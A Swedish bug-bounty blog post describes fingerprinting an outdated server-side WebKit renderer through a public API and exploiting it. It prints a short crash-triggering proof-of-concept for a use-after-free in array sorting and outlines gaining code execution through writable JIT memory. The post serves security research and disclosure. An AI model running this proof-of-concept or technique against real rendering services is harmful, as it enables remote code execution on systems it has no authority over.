Det är lite som att vara en digital Indiana Jones. 🏺 Istället för att gräva efter forntida artefakter i dammiga tempel, letar jag efter sårbarheter i gammal mjukvara. Den här gången stötte jag på något riktigt intressant – en server-side browser från stenåldern av webben.
Upptäckten: En mystisk API-endpoint #
Under en vanlig buggjakt stötte jag på en API-endpoint som kunde rendera användarskickad HTML och köra inbäddad JavaScript. Server-side browsers har varit ett av mina specialintressen de senaste åren, så detta var som att hitta en oöppnad skattkista. 💎
Server-side browsers används ofta för att rendera webbsidor på servern, till exempel för att generera PDF-rapporter eller ta skärmdumpar av webbsidor. Men de kan bli farliga om de inte är ordentligt säkrade.
Rekognosering: Vilken browser är det här? #
Första steget var att identifiera vilken browser-motor och version som användes. Normalt är detta enkelt – man kollar bara på User-Agent
-headern. Men här blev det lite knepigare.
Användaragenten såg ut så här:
Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) Safari/538.1
Inte särskilt hjälpsamt! Vanligtvis ser man tydliga versioner som Chrome/124.0.0.0 eller Firefox/125.0 här.
Fingerprinting med JavaScript #
Eftersom jag kunde köra JavaScript kunde jag använda browserspecifika API:er för att identifiera motorn:
// Kolla för Chrome
if (typeof Error.captureStackTrace === 'function') {
console.log("Chrome-baserad");
}
// Kolla för Firefox
if (typeof document.preferredStyleSheetSet === 'string') {
console.log("Firefox-baserad");
}
// Kolla för WebKit/Safari
if (typeof webkitConvertPointFromPageToNode === 'function') {
console.log("WebKit-baserad");
}
Det visade sig vara en WebKit-baserad motor. Min första gissning var PhantomJS, men mitt testexploit för CVE-2014-1303 fungerade inte.
Versionbestämning med feature detection #
För att lista ut ungefärlig version använde jag caniuse.com för att jämföra vilka funktioner som fanns i olika Safari-versioner:
var version;
version = !version && typeof fetch == "function" ? "Safari WebKit 10.1" : version;
version = !version && typeof String.prototype.includes == "function" ? "Safari WebKit 9" : version;
version = !version && typeof document.currentScript == "object" ? "Safari WebKit 8" : version;
version = !version && typeof window.requestAnimationFrame == "function" ? "Safari WebKit 7" : version;
console.log(version); // Safari ~8, från ca 2014-2015
En browser från stenåldern alltså – nästan tio år gammal!
Forskning: Leta efter gamla sårbarheter #
Med ungefärlig version och tidsram kunde jag börja gräva i gamla sårbarhetsrapporter och exploits. PlayStation-jailbreaks från samma tidsperiod visade sig vara en guldgruva.
Efter timmars research hittade jag en lovande exploit från hackern “xyz” som utnyttjade en Use-After-Free-sårbarhet i JSArray::sortCompactedVector
.
Här är ett Proof-of-Concept-skript:
var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo.sort();
När jag testade detta mot målet kraschade det – ett lovande tecken!
Utveckling: Bygga ett fungerande exploit #
För att underlätta utvecklingen kompilerade jag PhantomJS med debug-symboler (eftersom den också var sårbar för samma bugg):
docker run -ti --rm -v`pwd`:/working ubuntu:14.04 /bin/bash
apt-get update
apt-get install build-essential g++ flex bison gperf ruby perl \
libsqlite3-dev libfontconfig1-dev libicu-dev libfreetype6 libssl-dev \
libpng-dev libjpeg-dev python libx11-dev libxext-dev git
git clone https://github.com/ariya/phantomjs.git
cd phantomjs
git checkout 2.1.1
git submodule init
git submodule update
python build.py --qmake-args="QMAKE_CFLAGS=-g" --qmake-args="QMAKE_CXXFLAGS=-g"
Minneskorruption och primitiver #
Exploitet kräver tre grundläggande primitiver:
read
- läsa från valfri minnesadresswrite
- skriva till valfri minnesadressaddrOf
- få adressen till ett JavaScript-objekt
Genom att korrumpera en array kunde jag skapa dessa primitiver, trots Linux guard pages som skyddar vissa minnesområden.
Exploitation: Köra egen kod #
Istället för den komplicerade ROP-kedjan jag ursprungligen planerat, upptäckte jag att JIT-kompilering lämnade minnesområden med rwx
-behörighet (läs-, skriv- och körbehörighet). Genom att:
- Tvinga fram JIT-kompilering av en funktion
- Skriva över funktionskoden i minnet
- Köra den modifierade funktionen
…kunde jag köra godtycklig kod mycket enklare!
Slutsats: En bitter eftersmak #
Efter allt detta arbete rapporterade jag sårbarheten till bug bounty-programmet… bara för att få veta att den låg i en tredjepartstjänst utan bountyprogram. Och de svarade aldrig på mina rapporter.
Så ibland går det inte som man hoppas i buggjaktens värld. Men kunskapen och erfarenheten är ovärderliga – och nästa gång kanske det blir den stora träffen!